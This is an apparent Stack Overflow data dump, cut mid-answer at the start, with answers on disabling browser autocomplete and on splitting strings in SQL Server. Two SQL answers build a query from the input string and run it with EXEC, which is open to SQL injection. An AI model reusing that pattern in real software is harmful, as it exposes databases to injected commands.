&lt;/div&gt;\n &lt;div class=&quot;col-md-6&quot;&gt;\n &lt;label for=&quot;password&quot; class=&quot;form-label&quot;&gt;Confirm Password&lt;/label&gt;\n &lt;input type=&quot;text&quot; class=&quot;form-control pswd&quot; id=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot;&gt;\n &lt;/div&gt;\n &lt;div class=&quot;col-md-12&quot;&gt;\n &lt;label for=&quot;recaptcha&quot; class=&quot;form-label&quot;&gt;ReCaptcha&lt;/label&gt;\n &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;recaptcha&quot; name=&quot;recaptcha&quot; value=&quot;&quot;&gt;\n &lt;/div&gt;\n&lt;/form&gt;\n</code></pre>\n<p>The CSS code to hide password:</p>\n<pre><code>.pswd {\n -webkit-text-security: disc;\n}\n</code></pre>\n<p><strong>Tested on Chrome, Opera, Edge.</strong></p>\n" }, { "answer_id": 72461000, "author": "tripleJ", "author_id": 6113501, "author_profile": "https://Stackoverflow.com/users/6113501", "pm_score": 1, "selected": false, "text": "<p>Since the behavior of <code>autocomplete</code> is pretty much unpredictable over different browsers and versions, my approach is a different one. Give all input elements for which you want to disable autofill the <code>readonly</code> attribute and only disable it on focus.</p>\n<pre><code> document.addEventListener('click', (e) =&gt; {\n readOnlys.forEach(readOnly =&gt; {\n if (e.target == readOnly) {\n readOnly.removeAttribute('readonly', '');\n readOnly.style.setProperty('pointer-events', 'none');\n } else {\n readOnly.setAttribute('readonly', '');\n readOnly.style.setProperty('pointer-events', 'auto');\n }\n });\n });\n document.addEventListener('keyup', (e) =&gt; {\n if (e.key == 'Tab') {\n readOnlys.forEach(readOnly =&gt; {\n if (e.target == readOnly) {\n readOnly.removeAttribute('readonly', '');\n readOnly.style.setProperty('pointer-events', 'none');\n } else {\n readOnly.setAttribute('readonly', '');\n readOnly.style.setProperty('pointer-events', 'auto');\n }\n });\n }\n });\n</code></pre>\n<p>If you want to make sure that users can still access the fields if they have disabled JS, you can set all <code>readonly</code>s initially via JS on page load. You can still use the <code>autocomplete</code> attribute as a fallback.</p>\n" }, { "answer_id": 73131074, "author": "softcod.com", "author_id": 3549491, "author_profile": "https://Stackoverflow.com/users/3549491", "pm_score": 0, "selected": false, "text": "<p>This will fix this problem</p>\n<pre><code>autocomplete=&quot;new-password&quot;\n</code></pre>\n" }, { "answer_id": 73805778, "author": "Kavindu Pasan Kavithilaka", "author_id": 13784005, "author_profile": "https://Stackoverflow.com/users/13784005", "pm_score": 0, "selected": false, "text": "<p><strong>2022 September</strong></p>\n<p>Some browsers such as Google Chrome does not even care the value of <code>autocomplete</code> attribute. The best way to stop getting suggestions is changing the name attribute of the input to <em>something</em> that changes <em>time to time</em></p>\n<p>As of September 2022, browsers will not provide autocomplete for <strong>one time passwords</strong></p>\n<p>So we can use <code>otp</code> as the field name.</p>\n<h2>&lt;input name=&quot;otp&quot;&gt;</h2>\n" }, { "answer_id": 73806681, "author": "MAKSTYLE119", "author_id": 11282779, "author_profile": "https://Stackoverflow.com/users/11282779", "pm_score": 2, "selected": false, "text": "<p>you only need autocomplete attribute for this problem\nyou can <a href=\"https://www.w3schools.com/howto/howto_html_autocomplete_off.asp\" rel=\"nofollow noreferrer\">visit this page for more information</a></p>\n<pre><code>&lt;input type=&quot;text&quot; name=&quot;foo&quot; autocomplete=&quot;off&quot; /&gt;\n</code></pre>\n" }, { "answer_id": 74174941, "author": "HackerMF", "author_id": 12827431, "author_profile": "https://Stackoverflow.com/users/12827431", "pm_score": 0, "selected": false, "text": "<p>For React you can try to put this code either now under a form or above password input or between email and password inputs</p>\n<pre><code>export const HackRemoveBrowsersAutofill = () =&gt; (\n &lt;&gt;\n &lt;input type=&quot;email&quot; autoComplete=&quot;new-password&quot; style={ { display: 'none' } } /&gt;\n &lt;input type=&quot;password&quot; autoComplete=&quot;new-password&quot; style={ { display: 'none' } } /&gt;\n &lt;/&gt;\n)\n</code></pre>\n<p>One of the examples:</p>\n<pre><code>&lt;input type=&quot;email&quot;/&gt;\n&lt;HackRemoveBrowsersAutofill/&gt;\n&lt;input type=&quot;password&quot;/&gt;\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2530", "https://Stackoverflow.com", "https://Stackoverflow.com/users/307/" ]
How do you disable autocomplete in the major browsers for a specific input (or form field)?
Firefox 30 ignores `autocomplete="off"` for passwords, opting to prompt the user instead whether the password should be stored on the client. Note the following [commentary](https://bugzilla.mozilla.org/show_bug.cgi?id=956906#c100) from May 5, 2014: > > * The password manager *always* prompts if it wants to save a password. Passwords are not saved without permission from the user. > * We are the third browser to implement this change, after IE and Chrome. > > > According to the [Mozilla Developer Network](https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion) documentation, the Boolean form element attribute `autocomplete` prevents form data from being cached in older browsers. ``` <input type="text" name="foo" autocomplete="off" /> ```
2,647
<p>Using SQL Server, how do I split a string so I can access item x?</p> <p>Take a string "Hello John Smith". How can I split the string by space and access the item at index 1 which should return "John"?</p>
[ { "answer_id": 2657, "author": "Jonesinator", "author_id": 152, "author_profile": "https://Stackoverflow.com/users/152", "pm_score": 9, "selected": true, "text": "<p>You may find the solution in <em><a href=\"http://www.codeproject.com/KB/database/SQL_UDF_to_Parse_a_String.aspx\" rel=\"noreferrer\">SQL User Defined Function to Parse a Delimited String</a></em> helpful (from <a href=\"http://en.wikipedia.org/wiki/The_Code_Project\" rel=\"noreferrer\">The Code Project</a>).</p>\n\n<p>You can use this simple logic:</p>\n\n<pre><code>Declare @products varchar(200) = '1|20|3|343|44|6|8765'\nDeclare @individual varchar(20) = null\n\nWHILE LEN(@products) &gt; 0\nBEGIN\n IF PATINDEX('%|%', @products) &gt; 0\n BEGIN\n SET @individual = SUBSTRING(@products,\n 0,\n PATINDEX('%|%', @products))\n SELECT @individual\n\n SET @products = SUBSTRING(@products,\n LEN(@individual + '|') + 1,\n LEN(@products))\n END\n ELSE\n BEGIN\n SET @individual = @products\n SET @products = NULL\n SELECT @individual\n END\nEND\n</code></pre>\n" }, { "answer_id": 2671, "author": "Dillie-O", "author_id": 71, "author_profile": "https://Stackoverflow.com/users/71", "pm_score": -1, "selected": false, "text": "<p>Well, mine isn't all that simpler, but here is the code I use to split a comma-delimited input variable into individual values, and put it into a table variable. I'm sure you could modify this slightly to split based on a space and then to do a basic SELECT query against that table variable to get your results.</p>\n\n<pre><code>-- Create temporary table to parse the list of accounting cycles.\nDECLARE @tblAccountingCycles table\n(\n AccountingCycle varchar(10)\n)\n\nDECLARE @vchAccountingCycle varchar(10)\nDECLARE @intPosition int\n\nSET @vchAccountingCycleIDs = LTRIM(RTRIM(@vchAccountingCycleIDs)) + ','\nSET @intPosition = CHARINDEX(',', @vchAccountingCycleIDs, 1)\n\nIF REPLACE(@vchAccountingCycleIDs, ',', '') &lt;&gt; ''\nBEGIN\n WHILE @intPosition &gt; 0\n BEGIN\n SET @vchAccountingCycle = LTRIM(RTRIM(LEFT(@vchAccountingCycleIDs, @intPosition - 1)))\n IF @vchAccountingCycle &lt;&gt; ''\n BEGIN\n INSERT INTO @tblAccountingCycles (AccountingCycle) VALUES (@vchAccountingCycle)\n END\n SET @vchAccountingCycleIDs = RIGHT(@vchAccountingCycleIDs, LEN(@vchAccountingCycleIDs) - @intPosition)\n SET @intPosition = CHARINDEX(',', @vchAccountingCycleIDs, 1)\n END\nEND\n</code></pre>\n\n<p>The concept is pretty much the same. One other alternative is to leverage the .NET compatibility within SQL Server 2005 itself. You can essentially write yourself a simple method in .NET that would split the string and then expose that as a stored procedure/function.</p>\n" }, { "answer_id": 2677, "author": "brendan", "author_id": 225, "author_profile": "https://Stackoverflow.com/users/225", "pm_score": 5, "selected": false, "text": "<p>Here is a UDF which will do it. It will return a table of the delimited values, haven't tried all scenarios on it but your example works fine.</p>\n\n<pre><code>\nCREATE FUNCTION SplitString \n(\n -- Add the parameters for the function here\n @myString varchar(500),\n @deliminator varchar(10)\n)\nRETURNS \n@ReturnTable TABLE \n(\n -- Add the column definitions for the TABLE variable here\n [id] [int] IDENTITY(1,1) NOT NULL,\n [part] [varchar](50) NULL\n)\nAS\nBEGIN\n Declare @iSpaces int\n Declare @part varchar(50)\n\n --initialize spaces\n Select @iSpaces = charindex(@deliminator,@myString,0)\n While @iSpaces > 0\n\n Begin\n Select @part = substring(@myString,0,charindex(@deliminator,@myString,0))\n\n Insert Into @ReturnTable(part)\n Select @part\n\n Select @myString = substring(@mystring,charindex(@deliminator,@myString,0)+ len(@deliminator),len(@myString) - charindex(' ',@myString,0))\n\n\n Select @iSpaces = charindex(@deliminator,@myString,0)\n end\n\n If len(@myString) > 0\n Insert Into @ReturnTable\n Select @myString\n\n RETURN \nEND\nGO\n</code></pre>\n\n<p>You would call it like this:</p>\n\n<pre><code>\nSelect * From SplitString('Hello John Smith',' ')\n</code></pre>\n\n<p>Edit: Updated solution to handle delimters with a len>1 as in :</p>\n\n<pre><code>\nselect * From SplitString('Hello**John**Smith','**')\n</code></pre>\n" }, { "answer_id": 2681, "author": "Seibar", "author_id": 357, "author_profile": "https://Stackoverflow.com/users/357", "pm_score": 3, "selected": false, "text": "<p>Try this:</p>\n\n<pre><code>CREATE function [SplitWordList]\n(\n @list varchar(8000)\n)\nreturns @t table \n(\n Word varchar(50) not null,\n Position int identity(1,1) not null\n)\nas begin\n declare \n @pos int,\n @lpos int,\n @item varchar(100),\n @ignore varchar(100),\n @dl int,\n @a1 int,\n @a2 int,\n @z1 int,\n @z2 int,\n @n1 int,\n @n2 int,\n @c varchar(1),\n @a smallint\n select \n @a1 = ascii('a'),\n @a2 = ascii('A'),\n @z1 = ascii('z'),\n @z2 = ascii('Z'),\n @n1 = ascii('0'),\n @n2 = ascii('9')\n set @ignore = '''\"'\n set @pos = 1\n set @dl = datalength(@list)\n set @lpos = 1\n set @item = ''\n while (@pos &lt;= @dl) begin\n set @c = substring(@list, @pos, 1)\n if (@ignore not like '%' + @c + '%') begin\n set @a = ascii(@c)\n if ((@a &gt;= @a1) and (@a &lt;= @z1)) \n or ((@a &gt;= @a2) and (@a &lt;= @z2))\n or ((@a &gt;= @n1) and (@a &lt;= @n2))\n begin\n set @item = @item + @c\n end else if (@item &gt; '') begin\n insert into @t values (@item)\n set @item = ''\n end\n end \n set @pos = @pos + 1\n end\n if (@item &gt; '') begin\n insert into @t values (@item)\n end\n return\nend\n</code></pre>\n\n<p>Test it like this:</p>\n\n<pre><code>select * from SplitWordList('Hello John Smith')\n</code></pre>\n" }, { "answer_id": 2685, "author": "Nathan Bedford", "author_id": 434, "author_profile": "https://Stackoverflow.com/users/434", "pm_score": 9, "selected": false, "text": "<p>I don't believe SQL Server has a built-in split function, so other than a UDF, the only other answer I know is to hijack the PARSENAME function:</p>\n\n<pre><code>SELECT PARSENAME(REPLACE('Hello John Smith', ' ', '.'), 2) \n</code></pre>\n\n<p>PARSENAME takes a string and splits it on the period character. It takes a number as its second argument, and that number specifies which segment of the string to return (working from back to front).</p>\n\n<pre><code>SELECT PARSENAME(REPLACE('Hello John Smith', ' ', '.'), 3) --return Hello\n</code></pre>\n\n<p>Obvious problem is when the string already contains a period. I still think using a UDF is the best way...any other suggestions?</p>\n" }, { "answer_id": 2703, "author": "vzczc", "author_id": 224, "author_profile": "https://Stackoverflow.com/users/224", "pm_score": 7, "selected": false, "text": "<p>First, create a function (using CTE, common table expression does away with the need for a temp table) </p>\n\n<pre><code> create function dbo.SplitString \n (\n @str nvarchar(4000), \n @separator char(1)\n )\n returns table\n AS\n return (\n with tokens(p, a, b) AS (\n select \n 1, \n 1, \n charindex(@separator, @str)\n union all\n select\n p + 1, \n b + 1, \n charindex(@separator, @str, b + 1)\n from tokens\n where b &gt; 0\n )\n select\n p-1 zeroBasedOccurance,\n substring(\n @str, \n a, \n case when b &gt; 0 then b-a ELSE 4000 end) \n AS s\n from tokens\n )\n GO\n</code></pre>\n\n<p>Then, use it as any table (or modify it to fit within your existing stored proc) like this. </p>\n\n<pre><code>select s \nfrom dbo.SplitString('Hello John Smith', ' ')\nwhere zeroBasedOccurance=1\n</code></pre>\n\n<p><strong>Update</strong></p>\n\n<p>Previous version would fail for input string longer than 4000 chars. This version takes care of the limitation:</p>\n\n<pre><code>create function dbo.SplitString \n(\n @str nvarchar(max), \n @separator char(1)\n)\nreturns table\nAS\nreturn (\nwith tokens(p, a, b) AS (\n select \n cast(1 as bigint), \n cast(1 as bigint), \n charindex(@separator, @str)\n union all\n select\n p + 1, \n b + 1, \n charindex(@separator, @str, b + 1)\n from tokens\n where b &gt; 0\n)\nselect\n p-1 ItemIndex,\n substring(\n @str, \n a, \n case when b &gt; 0 then b-a ELSE LEN(@str) end) \n AS s\nfrom tokens\n);\n\nGO\n</code></pre>\n\n<p>Usage remains the same.</p>\n" }, { "answer_id": 240586, "author": "nathan_jr", "author_id": 3769, "author_profile": "https://Stackoverflow.com/users/3769", "pm_score": 5, "selected": false, "text": "<p>You can leverage a Number table to do the string parsing. </p>\n\n<p>Create a physical numbers table:</p>\n\n<pre><code> create table dbo.Numbers (N int primary key);\n insert into dbo.Numbers\n select top 1000 row_number() over(order by number) from master..spt_values\n go\n</code></pre>\n\n<p>Create test table with 1000000 rows</p>\n\n<pre><code> create table #yak (i int identity(1,1) primary key, array varchar(50))\n\n insert into #yak(array)\n select 'a,b,c' from dbo.Numbers n cross join dbo.Numbers nn\n go\n</code></pre>\n\n<p>Create the function</p>\n\n<pre><code> create function [dbo].[ufn_ParseArray]\n ( @Input nvarchar(4000), \n @Delimiter char(1) = ',',\n @BaseIdent int\n )\n returns table as\n return \n ( select row_number() over (order by n asc) + (@BaseIdent - 1) [i],\n substring(@Input, n, charindex(@Delimiter, @Input + @Delimiter, n) - n) s\n from dbo.Numbers\n where n &lt;= convert(int, len(@Input)) and\n substring(@Delimiter + @Input, n, 1) = @Delimiter\n )\n go\n</code></pre>\n\n<p>Usage (outputs 3mil rows in 40s on my laptop)</p>\n\n<pre><code> select * \n from #yak \n cross apply dbo.ufn_ParseArray(array, ',', 1)\n</code></pre>\n\n<p>cleanup</p>\n\n<pre><code> drop table dbo.Numbers;\n drop function [dbo].[ufn_ParseArray]\n</code></pre>\n\n<p>Performance here is not amazing, but calling a function over a million row table is not the best idea. If performing a string split over many rows I would avoid the function. </p>\n" }, { "answer_id": 8199925, "author": "kta", "author_id": 539023, "author_profile": "https://Stackoverflow.com/users/539023", "pm_score": 3, "selected": false, "text": "<p>I was looking for the solution on net and the below works for me.\n<a href=\"http://code.developwithus.com/topics/database/mssql/\" rel=\"nofollow\">Ref</a>.</p>\n\n<p>And you call the function like this :</p>\n\n<pre><code>SELECT * FROM dbo.split('ram shyam hari gopal',' ')\n</code></pre>\n\n<hr>\n\n<pre><code>SET ANSI_NULLS ON\nGO\nSET QUOTED_IDENTIFIER ON\nGO\n\nCREATE FUNCTION [dbo].[Split](@String VARCHAR(8000), @Delimiter CHAR(1)) \nRETURNS @temptable TABLE (items VARCHAR(8000)) \nAS \nBEGIN \n DECLARE @idx INT \n DECLARE @slice VARCHAR(8000) \n SELECT @idx = 1 \n IF len(@String)&lt;1 OR @String IS NULL RETURN \n WHILE @idx!= 0 \n BEGIN \n SET @idx = charindex(@Delimiter,@String) \n IF @idx!=0 \n SET @slice = LEFT(@String,@idx - 1) \n ELSE \n SET @slice = @String \n IF(len(@slice)&gt;0) \n INSERT INTO @temptable(Items) VALUES(@slice) \n SET @String = RIGHT(@String,len(@String) - @idx) \n IF len(@String) = 0 break \n END \n RETURN \nEND\n</code></pre>\n" }, { "answer_id": 11569818, "author": "Damon Drake", "author_id": 965258, "author_profile": "https://Stackoverflow.com/users/965258", "pm_score": 3, "selected": false, "text": "<p>In my opinion you guys are making it way too complicated. Just create a CLR UDF and be done with it.</p>\n\n<pre><code>using System;\nusing System.Data;\nusing System.Data.SqlClient;\nusing System.Data.SqlTypes;\nusing Microsoft.SqlServer.Server;\nusing System.Collections.Generic;\n\npublic partial class UserDefinedFunctions {\n [SqlFunction]\n public static SqlString SearchString(string Search) {\n List&lt;string&gt; SearchWords = new List&lt;string&gt;();\n foreach (string s in Search.Split(new char[] { ' ' })) {\n if (!s.ToLower().Equals(\"or\") &amp;&amp; !s.ToLower().Equals(\"and\")) {\n SearchWords.Add(s);\n }\n }\n\n return new SqlString(string.Join(\" OR \", SearchWords.ToArray()));\n }\n};\n</code></pre>\n" }, { "answer_id": 14495395, "author": "Prahalad Gaggar", "author_id": 1841054, "author_profile": "https://Stackoverflow.com/users/1841054", "pm_score": 1, "selected": false, "text": "<p>I know it's an old Question, but i think some one can benefit from my solution.</p>\n\n<pre><code>select \nSUBSTRING(column_name,1,CHARINDEX(' ',column_name,1)-1)\n,SUBSTRING(SUBSTRING(column_name,CHARINDEX(' ',column_name,1)+1,LEN(column_name))\n ,1\n ,CHARINDEX(' ',SUBSTRING(column_name,CHARINDEX(' ',column_name,1)+1,LEN(column_name)),1)-1)\n,SUBSTRING(SUBSTRING(column_name,CHARINDEX(' ',column_name,1)+1,LEN(column_name))\n ,CHARINDEX(' ',SUBSTRING(column_name,CHARINDEX(' ',column_name,1)+1,LEN(column_name)),1)+1\n ,LEN(column_name))\nfrom table_name\n</code></pre>\n\n<p><strong><a href=\"http://www.sqlfiddle.com/#!3/776f3/1\" rel=\"nofollow noreferrer\">SQL FIDDLE</a></strong></p>\n\n<p><strong>Advantages:</strong></p>\n\n<ul>\n<li>It separates all the 3 sub-strings deliminator by ' '.</li>\n<li>One must not use while loop, as it decreases the performance.</li>\n<li>No need to Pivot as all the resultant sub-string will be displayed in\none Row</li>\n</ul>\n\n<p><strong>Limitations:</strong></p>\n\n<ul>\n<li>One must know the total no. of spaces (sub-string).</li>\n</ul>\n\n<p><strong>Note</strong>: the solution can give sub-string up to to N.</p>\n\n<p>To overcame the limitation we can use the following <a href=\"https://stackoverflow.com/questions/14101227/how-to-use-pivot-in-a-recursive-stored-procedure/14101790#14101790\"><strong>ref</strong></a>.</p>\n\n<p>But again the above <a href=\"https://stackoverflow.com/questions/14101227/how-to-use-pivot-in-a-recursive-stored-procedure/14101790#14101790\"><strong>solution</strong></a> can't be use in a table (Actaully i wasn't able to use it).</p>\n\n<p>Again i hope this solution can help some-one.</p>\n\n<p><strong>Update:</strong> In case of Records > 50000 it is not <strong>advisable</strong> to use <strong><code>LOOPS</code></strong> as it will degrade the <strong>Performance</strong></p>\n" }, { "answer_id": 14600765, "author": "Sivaganesh Tamilvendhan", "author_id": 1081699, "author_profile": "https://Stackoverflow.com/users/1081699", "pm_score": 4, "selected": false, "text": "<p>Here I post a simple way of solution</p>\n\n<pre><code>CREATE FUNCTION [dbo].[split](\n @delimited NVARCHAR(MAX),\n @delimiter NVARCHAR(100)\n ) RETURNS @t TABLE (id INT IDENTITY(1,1), val NVARCHAR(MAX))\n AS\n BEGIN\n DECLARE @xml XML\n SET @xml = N'&lt;t&gt;' + REPLACE(@delimited,@delimiter,'&lt;/t&gt;&lt;t&gt;') + '&lt;/t&gt;'\n\n INSERT INTO @t(val)\n SELECT r.value('.','varchar(MAX)') as item\n FROM @xml.nodes('/t') as records(r)\n RETURN\n END\n</code></pre>\n\n<p><br>\n Execute the function like this<br></p>\n\n<pre><code> select * from dbo.split('Hello John Smith',' ')\n</code></pre>\n" }, { "answer_id": 15162279, "author": "Frederic", "author_id": 1839323, "author_profile": "https://Stackoverflow.com/users/1839323", "pm_score": 3, "selected": false, "text": "<p>What about using <code>string</code> and <code>values()</code> statement?</p>\n\n<pre><code>DECLARE @str varchar(max)\nSET @str = 'Hello John Smith'\n\nDECLARE @separator varchar(max)\nSET @separator = ' '\n\nDECLARE @Splited TABLE(id int IDENTITY(1,1), item varchar(max))\n\nSET @str = REPLACE(@str, @separator, '''),(''')\nSET @str = 'SELECT * FROM (VALUES(''' + @str + ''')) AS V(A)' \n\nINSERT INTO @Splited\nEXEC(@str)\n\nSELECT * FROM @Splited\n</code></pre>\n\n<p>Result-set achieved.</p>\n\n<pre><code>id item\n1 Hello\n2 John\n3 Smith\n</code></pre>\n" }, { "answer_id": 15406494, "author": "Aleksandr Fedorenko", "author_id": 1085940, "author_profile": "https://Stackoverflow.com/users/1085940", "pm_score": 3, "selected": false, "text": "<p>The following example uses a recursive CTE</p>\n\n<p><strong>Update</strong> 18.09.2013</p>\n\n<pre><code>CREATE FUNCTION dbo.SplitStrings_CTE(@List nvarchar(max), @Delimiter nvarchar(1))\nRETURNS @returns TABLE (val nvarchar(max), [level] int, PRIMARY KEY CLUSTERED([level]))\nAS\nBEGIN\n;WITH cte AS\n (\n SELECT SUBSTRING(@List, 0, CHARINDEX(@Delimiter, @List + @Delimiter)) AS val,\n CAST(STUFF(@List + @Delimiter, 1, CHARINDEX(@Delimiter, @List + @Delimiter), '') AS nvarchar(max)) AS stval, \n 1 AS [level]\n UNION ALL\n SELECT SUBSTRING(stval, 0, CHARINDEX(@Delimiter, stval)),\n CAST(STUFF(stval, 1, CHARINDEX(@Delimiter, stval), '') AS nvarchar(max)),\n [level] + 1\n FROM cte\n WHERE stval != ''\n )\n INSERT @returns\n SELECT REPLACE(val, ' ','' ) AS val, [level]\n FROM cte\n WHERE val &gt; ''\n RETURN\nEND\n</code></pre>\n\n<p>Demo on <a href=\"http://sqlfiddle.com/#!3/c43e0/1\" rel=\"nofollow\"><strong>SQLFiddle</strong></a></p>\n" }, { "answer_id": 17203119, "author": "mkaj", "author_id": 765326, "author_profile": "https://Stackoverflow.com/users/765326", "pm_score": -1, "selected": false, "text": "<p>Here's my solution that may help someone. Modification of Jonesinator's answer above.</p>\n\n<p>If I have a string of delimited INT values and want a table of INTs returned (Which I can then join on). e.g. '1,20,3,343,44,6,8765'</p>\n\n<p>Create a UDF:</p>\n\n<pre><code>IF OBJECT_ID(N'dbo.ufn_GetIntTableFromDelimitedList', N'TF') IS NOT NULL\n DROP FUNCTION dbo.[ufn_GetIntTableFromDelimitedList];\nGO\n\nCREATE FUNCTION dbo.[ufn_GetIntTableFromDelimitedList](@String NVARCHAR(MAX), @Delimiter CHAR(1))\n\nRETURNS @table TABLE \n(\n Value INT NOT NULL\n)\nAS \nBEGIN\nDECLARE @Pattern NVARCHAR(3)\nSET @Pattern = '%' + @Delimiter + '%'\nDECLARE @Value NVARCHAR(MAX)\n\nWHILE LEN(@String) &gt; 0\n BEGIN\n IF PATINDEX(@Pattern, @String) &gt; 0\n BEGIN\n SET @Value = SUBSTRING(@String, 0, PATINDEX(@Pattern, @String))\n INSERT INTO @table (Value) VALUES (@Value)\n\n SET @String = SUBSTRING(@String, LEN(@Value + @Delimiter) + 1, LEN(@String))\n END\n ELSE\n BEGIN\n -- Just the one value.\n INSERT INTO @table (Value) VALUES (@String)\n RETURN\n END\n END\n\nRETURN\nEND\nGO\n</code></pre>\n\n<p>Then get the table results:</p>\n\n<pre><code>SELECT * FROM dbo.[ufn_GetIntTableFromDelimitedList]('1,20,3,343,44,6,8765', ',')\n\n1\n20\n3\n343\n44\n6\n8765\n</code></pre>\n\n<p>And in a join statement:</p>\n\n<pre><code>SELECT [ID], [FirstName]\nFROM [User] u\nJOIN dbo.[ufn_GetIntTableFromDelimitedList]('1,20,3,343,44,6,8765', ',') t ON u.[ID] = t.[Value]\n\n1 Elvis\n20 Karen\n3 David\n343 Simon\n44 Raj\n6 Mike\n8765 Richard\n</code></pre>\n\n<p>If you want to return a list of NVARCHARs instead of INTs then just change the table definition:</p>\n\n<pre><code>RETURNS @table TABLE \n(\n Value NVARCHAR(MAX) NOT NULL\n)\n</code></pre>\n" }, { "answer_id": 18212817, "author": "angel", "author_id": 586687, "author_profile": "https://Stackoverflow.com/users/586687", "pm_score": 3, "selected": false, "text": "<p>I use the answer of frederic but this did not work in SQL Server 2005</p>\n\n<p>I modified it and I'm using <code>select</code> with <code>union all</code> and it works</p>\n\n<pre><code>DECLARE @str varchar(max)\nSET @str = 'Hello John Smith how are you'\n\nDECLARE @separator varchar(max)\nSET @separator = ' '\n\nDECLARE @Splited table(id int IDENTITY(1,1), item varchar(max))\n\nSET @str = REPLACE(@str, @separator, ''' UNION ALL SELECT ''')\nSET @str = ' SELECT ''' + @str + ''' ' \n\nINSERT INTO @Splited\nEXEC(@str)\n\nSELECT * FROM @Splited\n</code></pre>\n\n<p>And the result-set is:</p>\n\n<pre><code>id item\n1 Hello\n2 John\n3 Smith\n4 how\n5 are\n6 you\n</code></pre>\n" }, { "answer_id": 19779728, "author": "T-Rex", "author_id": 2623456, "author_profile": "https://Stackoverflow.com/users/2623456", "pm_score": 2, "selected": false, "text": "<pre><code>\n\n Alter Function dbo.fn_Split\n (\n @Expression nvarchar(max),\n @Delimiter nvarchar(20) = ',',\n @Qualifier char(1) = Null\n )\n RETURNS @Results TABLE (id int IDENTITY(1,1), value nvarchar(max))\n AS\n BEGIN\n /* USAGE\n Select * From dbo.fn_Split('apple pear grape banana orange honeydew cantalope 3 2 1 4', ' ', Null)\n Select * From dbo.fn_Split('1,abc,\"Doe, John\",4', ',', '\"')\n Select * From dbo.fn_Split('Hello 0,\"&\"\"&&&&', ',', '\"')\n */\n\n -- Declare Variables\n DECLARE\n @X xml,\n @Temp nvarchar(max),\n @Temp2 nvarchar(max),\n @Start int,\n @End int\n\n -- HTML Encode @Expression\n Select @Expression = (Select @Expression For XML Path(''))\n\n -- Find all occurences of @Delimiter within @Qualifier and replace with |||***|||\n While PATINDEX('%' + @Qualifier + '%', @Expression) > 0 AND Len(IsNull(@Qualifier, '')) > 0\n BEGIN\n Select\n -- Starting character position of @Qualifier\n @Start = PATINDEX('%' + @Qualifier + '%', @Expression),\n -- @Expression starting at the @Start position\n @Temp = SubString(@Expression, @Start + 1, LEN(@Expression)-@Start+1),\n -- Next position of @Qualifier within @Expression\n @End = PATINDEX('%' + @Qualifier + '%', @Temp) - 1,\n -- The part of Expression found between the @Qualifiers\n @Temp2 = Case When @End &LT 0 Then @Temp Else Left(@Temp, @End) End,\n -- New @Expression\n @Expression = REPLACE(@Expression,\n @Qualifier + @Temp2 + Case When @End &LT 0 Then '' Else @Qualifier End,\n Replace(@Temp2, @Delimiter, '|||***|||')\n )\n END\n\n -- Replace all occurences of @Delimiter within @Expression with '&lt/fn_Split&gt&ltfn_Split&gt'\n -- And convert it to XML so we can select from it\n SET\n @X = Cast('&ltfn_Split&gt' +\n Replace(@Expression, @Delimiter, '&lt/fn_Split&gt&ltfn_Split&gt') +\n '&lt/fn_Split&gt' as xml)\n\n -- Insert into our returnable table replacing '|||***|||' back to @Delimiter\n INSERT @Results\n SELECT\n \"Value\" = LTRIM(RTrim(Replace(C.value('.', 'nvarchar(max)'), '|||***|||', @Delimiter)))\n FROM\n @X.nodes('fn_Split') as X(C)\n\n -- Return our temp table\n RETURN\n END\n\n</code></pre>\n" }, { "answer_id": 19935646, "author": "Aaron Bertrand", "author_id": 61305, "author_profile": "https://Stackoverflow.com/users/61305", "pm_score": 6, "selected": false, "text": "<p>Most of the solutions here use while loops or recursive CTEs. A set-based approach will be superior, I promise, if you can use a delimiter other than a space:</p>\n<pre><code>CREATE FUNCTION [dbo].[SplitString]\n (\n @List NVARCHAR(MAX),\n @Delim VARCHAR(255)\n )\n RETURNS TABLE\n AS\n RETURN ( SELECT [Value], idx = RANK() OVER (ORDER BY n) FROM \n ( \n SELECT n = Number, \n [Value] = LTRIM(RTRIM(SUBSTRING(@List, [Number],\n CHARINDEX(@Delim, @List + @Delim, [Number]) - [Number])))\n FROM (SELECT Number = ROW_NUMBER() OVER (ORDER BY name)\n FROM sys.all_objects) AS x\n WHERE Number &lt;= LEN(@List)\n AND SUBSTRING(@Delim + @List, [Number], LEN(@Delim)) = @Delim\n ) AS y\n );\n</code></pre>\n<p>Sample usage:</p>\n<pre><code>SELECT Value FROM dbo.SplitString('foo,bar,blat,foo,splunge',',')\n WHERE idx = 3;\n</code></pre>\n<p>Results:</p>\n<pre><code>----\nblat\n</code></pre>\n<p>You could also add the <code>idx</code> you want as an argument to the function, but I'll leave that as an exercise to the reader.</p>\n<p>You can't do this with <em>just</em> the <a href=\"https://learn.microsoft.com/en-us/sql/t-sql/functions/string-split-transact-sql\" rel=\"nofollow noreferrer\">native <code>STRING_SPLIT</code> function</a> added in SQL Server 2016, because there is no guarantee that the output will be rendered in the order of the original list. In other words, if you pass in <code>3,6,1</code> the result will likely be in that order, but it <em>could</em> be <code>1,3,6</code>. I have asked for the community's help in improving the built-in function here:</p>\n<ul>\n<li><a href=\"https://sqlperformance.com/2020/03/t-sql-queries/please-help-string-split-improvements\" rel=\"nofollow noreferrer\">Please help with STRING_SPLIT improvements\n</a></li>\n</ul>\n<p>With enough <em>qualitative</em> feedback, they may actually consider making some of these enhancements:</p>\n<ul>\n<li><a href=\"https://feedback.azure.com/d365community/idea/5eaf994d-4025-ec11-b6e6-000d3a4f0da0\" rel=\"nofollow noreferrer\">STRING_SPLIT is not feature complete</a></li>\n</ul>\n<p>More on split functions, why (and proof that) while loops and recursive CTEs don't scale, and better alternatives, if splitting strings coming from the application layer:</p>\n<ul>\n<li><a href=\"http://www.sqlperformance.com/2012/07/t-sql-queries/split-strings\" rel=\"nofollow noreferrer\">Split strings the right way – or the next best way</a></li>\n<li><a href=\"https://sqlperformance.com/2012/08/t-sql-queries/splitting-strings-follow-up\" rel=\"nofollow noreferrer\">Splitting Strings : A Follow-Up</a></li>\n<li><a href=\"http://www.sqlperformance.com/2012/08/t-sql-queries/splitting-strings-now-with-less-t-sql\" rel=\"nofollow noreferrer\">Splitting Strings : Now with less T-SQL</a></li>\n<li><a href=\"https://sqlperformance.com/2016/01/t-sql-queries/comparing-splitting-concat\" rel=\"nofollow noreferrer\">Comparing string splitting / concatenation methods</a></li>\n<li><a 